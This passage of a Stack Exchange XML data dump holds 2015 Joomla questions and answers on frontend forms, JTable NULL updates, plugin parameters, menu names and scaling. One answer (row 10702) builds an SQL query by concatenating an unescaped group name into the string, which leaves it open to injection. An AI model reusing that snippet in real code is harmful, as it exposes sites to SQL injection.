OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-07-11T15:42:49.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10697" PostTypeId="1" CreationDate="2015-07-03T18:13:55.683" Score="0" ViewCount="741" Body="&lt;p&gt;I need edit to create articles in Joomla from the frontend using a form because my articles follow a pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want when creating or editing articles it is to introduce only: a title, upload 2 files, select the category of the article and a text field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any existing extensions that allows to create and edit items from the frontend part through a pre-designed form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides this I would like the items are all show as a database table and click on them to access desired or can be selected for editing article.&lt;/p&gt;&#xA;" OwnerUserId="5516" LastEditorUserId="1629" LastEditDate="2015-07-03T19:35:56.660" LastActivityDate="2015-07-03T21:40:57.790" Title="Create or edit an article using a form in the frontend in joomla 3.0" Tags="|joomla-3.x|articles|form|content|front-end|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10698" PostTypeId="2" ParentId="10697" CreationDate="2015-07-03T21:40:57.790" Score="2" Body="&lt;p&gt;I would consider SEBLOD or Form2Content for this task depending on the overall complexity of your project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose form2content if you want to get up and running quick (uses smarty php for templating ), and choose SEBLOD if you don't like limitations and have some code skills ( php ).&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2015-07-03T21:40:57.790" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10699" PostTypeId="2" ParentId="10661" CreationDate="2015-07-04T01:59:03.867" Score="3" Body="&lt;p&gt;It turns out my problem was caused by the use of the onsubmit=&quot;&quot; event at the form tag. NOTE: This is back-end code, I only have this problem when using the JToolBarHelper::buttons();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I used to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;view.html.php &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JToolBarHelper::save('simplelistitem.save');&#xA;JToolBarHelper::apply('simplelistitem.apply')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;edit.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    function extraValidationAAA(){ &#xA;        if(jQuery('aa').val() === 'aaa'){ return true;} else {return false;}&#xA;    }&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;form action=&quot;..&quot; onsubmit=&quot;extraValidationAAA();&quot; id='exampleForm' &amp;gt;&#xA;..&#xA;&amp;lt;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This fails to submit my forms starting 3.4.2, even if valid. Taking a look at the com_banner / edit.php I tried using Joomla.submitbutton = function(){...}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New edit.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    var thisForm = document.getElementById(&quot;exampleForm&quot;);&#xA;    Joomla.submitbutton = function(task)    {&#xA;        if (task == &quot;simplelistitem.cancel&quot;){&#xA;           Joomla.submitform(task, thisForm );&#xA;        }&#xA;        else if (document.formvalidator.isValid(thisForm))&#xA;        {&#xA;            //add any additional validation here&#xA;            if(jQuery('aa').val() === 'aaa'){&#xA;                Joomla.submitform(task, thisForm );&#xA;            }&#xA;        }&#xA;    };&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;form action=&quot;..&quot;  id='exampleForm' &amp;gt;&#xA;..&#xA;&amp;lt;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I lage the knowledge to explain why, nor do I know what changed in 3.4.2 to break my approach.&lt;/p&gt;&#xA;" OwnerUserId="1950" LastEditorUserId="1950" LastEditDate="2015-07-09T22:36:33.670" LastActivityDate="2015-07-09T22:36:33.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10702" PostTypeId="2" ParentId="10676" CreationDate="2015-07-04T10:19:14.730" Score="2" Body="&lt;p&gt;You can create your own function that you can call to get the group id as :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getGroupId($groupName)&#xA;{&#xA;   $db = JFactory::getDbo();&#xA;   $select = &quot;select id from #__usergroups where title='&quot;.$groupName.&quot;'&quot;;&#xA;   $db-&amp;gt;setQuery($select);&#xA;   $db-&amp;gt;query();&#xA;   $data = $db-&amp;gt;loadObject();&#xA;&#xA;   $groupId = $data-&amp;gt;id;&#xA;&#xA;   if(empty($groupId))&#xA;   $groupId = 2;&#xA;&#xA;   return $groupId;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then call it as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system = $this-&amp;gt;getGroupId($this-&amp;gt;data-&amp;gt;role);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1864" LastActivityDate="2015-07-04T10:19:14.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10703" PostTypeId="1" CreationDate="2015-07-04T10:40:35.997" Score="0" ViewCount="355" Body="&lt;p&gt;In a Joomla 3.x plugin I need to populate some plugin parameters with array data based on dropdown field choice value. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$presets = array( &#xA;    &quot;preset_A&quot; =&amp;gt; array&#xA;        (&#xA;        &quot;parameter_A&quot; =&amp;gt; &quot;value_a&quot;,     &#xA;        &quot;parameter_B&quot; =&amp;gt; &quot;value_b&quot;,     &#xA;        &quot;parameter_C&quot; =&amp;gt; &quot;value_c&quot;      &#xA;        ),&#xA;    &quot;preset_B&quot; =&amp;gt; array&#xA;        (&#xA;        &quot;parameter_A&quot; =&amp;gt; &quot;value_a&quot;,&#xA;        &quot;parameter_B&quot; =&amp;gt; &quot;value_b&quot;,&#xA;        &quot;parameter_C&quot; =&amp;gt; &quot;value_c&quot;&#xA;        ),&#xA;    &quot;preset_C&quot; =&amp;gt; array&#xA;        (&#xA;        &quot;parameter_A&quot; =&amp;gt; &quot;value_a&quot;,&#xA;        &quot;parameter_B&quot; =&amp;gt; &quot;value_b&quot;,&#xA;        &quot;parameter_C&quot; =&amp;gt; &quot;value_c&quot;&#xA;        )&#xA;     );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For instance if the chosen value in dropdown is 'preset_B' it should populate parameter_A ... parameter_C with values of preset_B from the array.&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2015-07-05T14:21:20.457" Title="Populate field form with array data based on field choice" Tags="|joomla-3.x|php|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10704" PostTypeId="1" CreationDate="2015-07-04T11:35:11.890" Score="3" ViewCount="489" Body="&lt;p&gt;I am having a field 'leavepack_id' in a table with the below table definition&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS `#__position` (&#xA;  `position_id` int(11) NOT NULL AUTO_INCREMENT,&#xA;  `leavepack_id` int(9) DEFAULT NULL,&#xA;  PRIMARY KEY (`position_id`),&#xA;  FOREIGN KEY (`leavepack_id`) REFERENCES `#__leavepack`(`leavpack_id` ON UPDATE CASCADE ON DELETE SET NUL&#xA;) ENGINE=InnoDB  DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By the above definition, the field leavepack_id can accept a valid id or NULL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I have in my model&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($data['leavepack_id'] == '')  $data['leavepack_id'] = NULL;&#xA;$success = parent::save($data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When an existing record which has a valid id is saved with null then the update retains the ID as is instead of storing as NULL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume the existing record has &lt;code&gt;position_id = 1 and leavepack_id = 2&lt;/code&gt;.  When updating the value comes as &lt;code&gt;position_id = 1 and leavepack_id = NULL&lt;/code&gt;.  The problem is NULL is not stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After debugging some of the core Joomla files, I am able to find the root cause.  The bind() function in JTable ignores the field that has NULL value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please help me on this.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2015-07-04T13:47:40.640" LastActivityDate="2015-07-05T14:14:12.280" Title="A foreign key field not updating as NULL" Tags="|joomla-3.4|database|model|jtable|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10705" PostTypeId="2" ParentId="10703" CreationDate="2015-07-04T15:15:21.023" Score="0" Body="&lt;p&gt;The provided sample data have the same values for preset_A[a-c] all the way to preset_C[a-c]. I'm not sure I understand what you are try'n to do here. Have you tried using the 'showon&quot; attribute, it works in parameter forms as well. &lt;a href=&quot;https://docs.joomla.org/Form_field#Showon&quot; rel=&quot;nofollow&quot;&gt;showon&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;params&quot;&amp;gt;  &#xA;    &amp;lt;field name=&quot;masterOption&quot; type=&quot;list&quot;  &amp;gt;&#xA;        &amp;lt;option value=&quot;a&quot;&amp;gt;A&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;b&quot;&amp;gt;B&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;c&quot;&amp;gt;C&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;&#xA;    &amp;lt;field name=&quot;subOptionA&quot; type=&quot;list&quot; showon=&quot;masterOption:a&quot;  &amp;gt;&#xA;        &amp;lt;option value=&quot;a_a&quot;&amp;gt;A&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;a_b&quot;&amp;gt;B&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;a_c&quot;&amp;gt;C&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;&#xA;    ...&#xA;&#xA;    &amp;lt;field name=&quot;subOptionC&quot; type=&quot;list&quot; showon=&quot;masterOption:c&quot;  &amp;gt;&#xA;        &amp;lt;option value=&quot;c_a&quot;&amp;gt;A&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;c_b&quot;&amp;gt;B&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;c_c&quot;&amp;gt;C&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*untested pseudo code, just to give an idea&lt;/p&gt;&#xA;" OwnerUserId="1950" LastActivityDate="2015-07-04T15:15:21.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10706" PostTypeId="1" CreationDate="2015-07-04T17:13:56.867" Score="5" ViewCount="1517" Body="&lt;p&gt;According to &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_a_MVC_Component/Developing_a_Basic_Component&quot; rel=&quot;nofollow&quot;&gt;Developing a MVC Component/Developing a Basic Component&lt;/a&gt;, proper place of setting Menu Section name is helloworld.xml file. Particularly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;administration&amp;gt;&#xA;    &amp;lt;!-- Administration Menu Section --&amp;gt;&#xA;    &amp;lt;menu link='index.php?option=com_helloworld'&amp;gt;Hello World!&amp;lt;/menu&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But instead of having &quot;Hello World!&quot; I have &quot;hello-world&quot;.&#xA;&lt;br/&gt;&#xA;Maybe 'menu' tag has some attributes, which can help me set proper name for my Component?&#xA;&lt;br/&gt;&#xA;I'm using Joomla! 3.4.3 Stable&#xA;&lt;br/&gt;&lt;br/&gt;&#xA;EDIT1&#xA;&lt;br/&gt;&#xA;I modified my helloworld.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;administration&amp;gt;&#xA;    &amp;lt;!-- Administration Menu Section --&amp;gt;&#xA;    &amp;lt;menu link='index.php?option=com_helloworld'&amp;gt;COM_HELLOWORLD_DISPLAY_MENU_NAME&amp;lt;/menu&amp;gt;&#xA;    &amp;lt;menu view=&quot;viewname&quot;&amp;gt;COM_HELLOWORLD_DISPLAY_MENU_NAME&amp;lt;/menu&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;files&amp;gt;&#xA;    &amp;lt;folder&amp;gt;admin/language&amp;lt;/folder&amp;gt;&#xA;  &amp;lt;/files&amp;gt;&#xA;&#xA;  &amp;lt;languages&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;admin/language/en-GB/en-GB.com_helloworld.sys.ini&amp;lt;/language&amp;gt;&#xA;  &amp;lt;/languages&amp;gt;&#xA;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;en-GB.com_helloworld.sys.ini:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_HELLOWORLD_DISPLAY_MENU_NAME=&quot;Hello World menu item&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&#xA;My understanding is, that I need to show Joomla where to copy language file. How to do this?&#xA;&lt;br/&gt;&lt;br/&gt;&#xA;- folder&lt;br/&gt;&#xA;-- admin&lt;br/&gt;&#xA;--- language&lt;br/&gt;&#xA;---- en-GB&lt;br/&gt;&#xA;----- en-GB.com_helloworld.sys.ini&lt;br/&gt;&#xA;--- helloworld.php&lt;br/&gt;&#xA;-- site&lt;br/&gt;&#xA;--- helloworld.php&lt;br/&gt;&#xA;-- helloworld.xml&lt;br/&gt;&#xA;&lt;br/&gt;&lt;/p&gt;&#xA;" OwnerUserId="5519" LastEditorUserId="5519" LastEditDate="2015-07-05T10:54:17.583" LastActivityDate="2015-07-05T10:54:17.583" Title="How to set name for Administrator Menu Section of a Component?" Tags="|joomla-3.x|component|administrator|custom-component|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10707" PostTypeId="2" ParentId="10704" CreationDate="2015-07-04T19:46:37.950" Score="3" Body="&lt;p&gt;I managed to override the model save() method by calling the bind() and store() and store NULL values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if ($data['leavepack_id'] == '')  $data['leavepack_id'] = NULL;&#xA;&#xA;    $table = $this-&amp;gt;getTable();&#xA;    if(!$table-&amp;gt;bind($data)){&#xA;        $this-&amp;gt;setError($this-&amp;gt;_db-&amp;gt;getErrorMsg());&#xA;        return false;&#xA;    }&#xA;&#xA;    if(!$table-&amp;gt;store(true)){&#xA;        $this-&amp;gt;setError($this-&amp;gt;_db-&amp;gt;getErrorMsg());&#xA;        return false;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not 100% sure whether this is the right way but it works for my case.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-07-04T19:46:37.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10708" PostTypeId="2" ParentId="10706" CreationDate="2015-07-05T02:27:00.280" Score="3" Body="&lt;p&gt;The format you are using is normally associated with sub-menu's - I think the tutorial is incorrect/out of date — in our components the main administration menu item looks like this:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;menu img=&quot;../media/com_componentName/images/icon.png&quot;&amp;gt;COM_COMPONENT_XML_NAME&amp;lt;/menu&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would recommend reading the article on &lt;a href=&quot;https://docs.joomla.org/Manifest_files&quot; rel=&quot;nofollow&quot;&gt;Joomla Manifest files&lt;/a&gt; and the &lt;a href=&quot;https://docs.joomla.org/Manifest_files#Menu_links_and_submenus&quot; rel=&quot;nofollow&quot;&gt;section on menus and sub-menus&lt;/a&gt; - it shows an example of the attributes required.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;menu&amp;gt;COM_EXAMPLE&amp;lt;/menu&amp;gt;&#xA;&amp;lt;submenu&amp;gt;&#xA;    &amp;lt;!--&#xA;        Note that all &amp;amp; must be escaped to &amp;amp;amp; for the file to be valid&#xA;        XML and be parsed by the installer&#xA;    --&amp;gt;&#xA;    &amp;lt;menu link=&quot;anoption=avalue&amp;amp;amp;anoption1=avalue1&quot;&amp;gt;COM_EXAMPLE_SUBMENU_ANOPTION&amp;lt;/menu&amp;gt;&#xA;    &amp;lt;menu view=&quot;viewname&quot;&amp;gt;COM_EXAMPLE_SUBMENU_VIEWNAME&amp;lt;/menu&amp;gt;&#xA;&amp;lt;/submenu&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="107" LastActivityDate="2015-07-05T02:27:00.280" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10709" PostTypeId="2" ParentId="4836" CreationDate="2015-07-05T10:27:49.140" Score="2" Body="&lt;p&gt;We have added multiple extra fields for K2. Extra fields can be applied to multiple extra field groups. The extra field groups can then be applied to multiple items or users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At test version can be download from &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/jameswadsworth/k2/releases&quot; rel=&quot;nofollow&quot;&gt;Github download of k2 multiple extra fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WARNING&lt;/strong&gt; - this is only for testing purposes. It should only by used on a test/development site.&lt;/p&gt;&#xA;" OwnerUserId="5523" LastActivityDate="2015-07-05T10:27:49.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10710" PostTypeId="2" ParentId="10704" CreationDate="2015-07-05T14:14:12.280" Score="2" Body="&lt;p&gt;You should take care of this in JTable only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($data['leavepack_id'] == '')  $data['leavepack_id'] = NULL;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you should insert in JTable::check() like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function check(){&#xA;    if ($this-&amp;gt;leavepack_id == '')  $this-&amp;gt;leavepack_id = NULL;&#xA;&#xA;    return parent::check();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then override store function like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function store($updateNulls = true){&#xA;    return parent::store($updateNulls);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you make it like this not only this functionality is available in every place that you want to use this table (this JTable reference) but also makes it possible to disable nulls update on demand.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-07-05T14:14:12.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10711" PostTypeId="2" ParentId="10703" CreationDate="2015-07-05T14:21:20.457" Score="1" Body="&lt;p&gt;If you want to create multiple default values depending on one dropdown field you will need to create a custom list field that will populate data in other fields depending on selected preset option. There is no way (using build in functionality) to make it like this without custom field and javascript.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-07-05T14:21:20.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10712" PostTypeId="1" CreationDate="2015-07-05T17:19:46.970" Score="2" ViewCount="374" Body="&lt;p&gt;Hey does anyone have an architecture or idea of how they deployed more than one application server and database server for Joomla? We are looking to scale to a couple hundred thousands users a day and 1 app, 1 db server just can't quite cut it and let alone we need to keep our SLA high. So what I was thinking was having a load balancer (to start) across an active-active setup of applications servers. For the DB server I was going to have an active-passive setup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be appreciated. &lt;/p&gt;&#xA;" OwnerUserId="5525" LastActivityDate="2015-07-05T23:10:48.050" Title="Multi Application Server" Tags="|joomla-3.3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10714" PostTypeId="1" CreationDate="2015-07-05T19:50:47.923" Score="0" ViewCount="83" Body="&lt;p&gt;I'm wondering if it's possible to write the equivalent of a &quot;3 most recent Tweets&quot; module, but for a Listserv mailing list, and where to begin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the system can be somehow made to read email, I think the problem is solved: subscribe the system to the listserv, with cron job parse received email (spam/malicious/correct) and extract desired bit, update module content.  But I didn't find any descriptions of similar setups, anything triggering Joomla or similar cms by email. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My title reflects the fact that I other approaches to the stated problem are even less likely to be practical/reliable, e.g. with cron job outside of Joomla check the listserv online archive, and update database field used by the display module. And I don't think there's an RSS feed for list-serv, and if so I have no idea how to make a module read that.  Maybe I overlook an obvious approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't find a tag for this post covering the 'trigger' part of it (rather central).&lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2015-08-06T11:58:15.693" Title="Update module content by email trigger?" Tags="|emails|custom-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10715" PostTypeId="2" ParentId="10712" CreationDate="2015-07-05T23:10:48.050" Score="2" Body="&lt;p&gt;My recommondation would be to use aws.amazon.com.  You mention a single app, so you'll likely want to offer a robust front-end that uses a scalable database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AWS offers the ability to load-balance traffic as well as geo-distribute your load so that Europe users don't get San Fran data sources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the database side, you can create several different layers of load sharing on mysql databases, such as read-specific instances, failover, and concurrent masters.  It really depends on what you're looking to do.  Because how you handle &quot;an app&quot; and &quot;a website&quot; are entirely different beasts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an intro to hosting websites (which no mater what you call a Joomla/MySQL deployment, it is a website): &lt;a href=&quot;http://aws.amazon.com/websites/&quot; rel=&quot;nofollow&quot;&gt;http://aws.amazon.com/websites/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, AWS has excellent support, just ask them the best way to do what you're looking to do.&lt;/p&gt;&#xA;" OwnerUserId="3570" LastActivityDate="2015-07-05T23:10:48.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10716" PostTypeId="1" CreationDate="2015-07-06T06:15:08.577" Score="4" ViewCount="684" Body="&lt;p&gt;I have custom component and plugins and listing some details in table after click on the table i'll go to details page. i want show the one of details in article, so i created a custom plugins and got the id of the details, but i dont know how to call the details view in plugins.&lt;/p&gt;&#xA;" OwnerUserId="5389" LastActivityDate="2015-07-28T08:32:00.433" Title="How can include the component view in plugins" Tags="|plugin|view|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10717" PostTypeId="2" ParentId="10716" CreationDate="2015-07-06T06:33:19.587" Score="6" Body="&lt;p&gt;From joomla 3.0 onwards a layout sharing feature is introduced, using it you can call a layout across views or extensions. It requires creating a layout object and then render the view using that object as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$layout = new JLayoutFile('my_layout', $basePath = JPATH_ROOT .'/components/com_something/layouts');&#xA;$html = $layout-&amp;gt;render();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will render the 'my_layout.php' layout file found in JPATH_ROOT .'/components/com_something/layouts' directory. So you can try the above code in your plugin to call your component view if you are using joomla 3.0+&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details check this page :- &lt;a href=&quot;https://docs.joomla.org/Sharing_layouts_across_views_or_extensions_with_JLayout&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Sharing_layouts_across_views_or_extensions_with_JLayout&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1864" LastEditorUserId="1864" LastEditDate="2015-07-28T08:32:00.433" LastActivityDate="2015-07-28T08:32:00.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10718" PostTypeId="2" ParentId="10714" CreationDate="2015-07-06T09:36:57.090" Score="1" Body="&lt;p&gt;It is possible to read mailbox from php script (so joomla extension too).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;What you should to do&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create CLI application to read emails and save last 3 in database/file&lt;/li&gt;&#xA;&lt;li&gt;add this application as CRON job&lt;/li&gt;&#xA;&lt;li&gt;create a module that will read database/file for those last emails&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;That way you will keep performance consuming task outside of Joomla but still be available to use Joomla framework, database etc.&lt;/p&gt;&#xA;&lt;h3&gt;Interesting links:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.backslash.gr/content/blog/webdevelopment/8-check-your-email-with-php-and-imap&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reading mailbox from PHP&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_create_a_stand-alone_application_using_the_Joomla!_Platform&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating a Joomla CLI application&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module&quot; rel=&quot;nofollow noreferrer&quot;&gt;Create a simple Joomla 3.x module&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-08-06T11:58:15.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10720" PostTypeId="2" ParentId="10408" CreationDate="2015-07-06T09:54:15.033" Score="2" Body="&lt;p&gt;You should not load jQuery from google for a simple reason. There is almost 90% chance it will be loaded from system (so better require it from system like this: &lt;code&gt;JHTML::_('jquery.framework')&lt;/code&gt;) so you lose both bandwidth and performance. Not to mention possible conflicts. If script you made don't work on Joomla page there is already a huge chance you have conflicts/errors in Java Script. Use a debugger.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-07-06T09:54:15.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10721" PostTypeId="1" CreationDate="2015-07-06T11:38:30.587" Score="2" ViewCount="152" Body="&lt;p&gt;In my menu item I assigned &lt;code&gt;K2 &amp;gt; Item&lt;/code&gt; and I choosed my item to be displayed, but it's not working. I've been working with K2 for several months and this is the first time this is happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the K2 item I set 'show' in Title and Full text, but the strange thing is that the only thing being displayed is the social networks share plugin (I disabled them). Another thing is that if I set to &lt;code&gt;featured item&lt;/code&gt; it will display correctly the default feaured banner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I assign to my menu item &lt;code&gt;K2 » Latest items from (one or more) users or categories&lt;/code&gt;, it works. It just doesn't work with &lt;code&gt;K2 &amp;gt; Item&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Items are published and with shown proprieties.&lt;/p&gt;&#xA;" OwnerUserId="3371" LastActivityDate="2015-11-03T16:44:25.417" Title="K2 item assigned to menu to displaying" Tags="|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10722" PostTypeId="2" ParentId="10278" CreationDate="2015-07-06T13:33:14.283" Score="1" Body="&lt;p&gt;I don't understand why you would a) use two images for each icon, or b) use javascript. You can define hover states, and manipulate svg elements directly, with only the most elementary css, e.g;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img class=&quot;icon-instagram&quot; src=&quot;&amp;lt;?php echo JUri::root(); ?&amp;gt;images/instagram.svg&quot; alt=&quot;&quot; /&amp;gt;&#xA;&#xA;.icon-instagram:hover path {fill: #bada55;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-07-06T13:33:14.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
